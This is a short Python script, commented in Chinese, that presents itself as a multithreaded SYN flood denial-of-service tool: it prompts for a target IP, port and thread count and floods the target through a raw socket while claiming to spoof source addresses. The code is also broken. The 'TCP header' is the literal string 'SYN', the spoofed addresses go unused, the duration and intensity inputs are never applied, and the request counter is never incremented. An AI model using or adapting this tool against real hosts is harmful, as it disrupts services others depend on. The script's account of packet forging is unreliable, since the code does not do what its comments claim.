import socket
import random
import sys
import threading
import time

# 获取用户输入的目标IP和端口
target_ip = input("请输入目标IP地址: ")
target_port = int(input("请输入目标端口号: "))

# 攻击持续时间（秒）
attack_duration = int(input("请输入攻击持续时间（秒）: "))

# 攻击强度（每秒发送的SYN包数量）
attack_intensity = int(input("请输入攻击强度（每秒发送的SYN包数量）: "))

total_requests = 0

# 发送SYN Flood攻击的函数
def syn_flood(target_ip, target_port, source_ip=None, source_port=None):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        
        while True:
            # 伪造源IP地址和随机源端口
            if not source_ip:
                source_ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
            
            if not source_port:
                source_port = random.randint(1024, 65535)
            
            # 构造TCP头部
            tcp_header = "SYN"
            packet = tcp_header.encode()
            
            # 发送伪造的SYN包
            s.sendto(packet, (target_ip, target_port))
            
    except KeyboardInterrupt:
        print("\nSYN Flood攻击已停止。")

# 分布式攻击函数
def distributed_attack(num_threads):
    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=syn_flood, args=(target_ip, target_port))
        threads.append(t)
    
    for thread in threads:
        thread.start()
    
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    start_time = time.time()  # 记录攻击开始时间
    num_threads = int(input("请输入用于分布式攻击的线程数: "))
    distributed_attack(num_threads)
    end_time = time.time()  # 记录攻击结束时间
    duration = end_time - start_time  # 计算攻击持续时间

    # 统计信息
    print("攻击结束")
    print(f"攻击持续时间：{duration:.2f} 秒")
    print(f"平均每秒发送请求数：{total_requests / duration:.2f} 次/秒")
    print()
    print("按回车键继续...")
    input()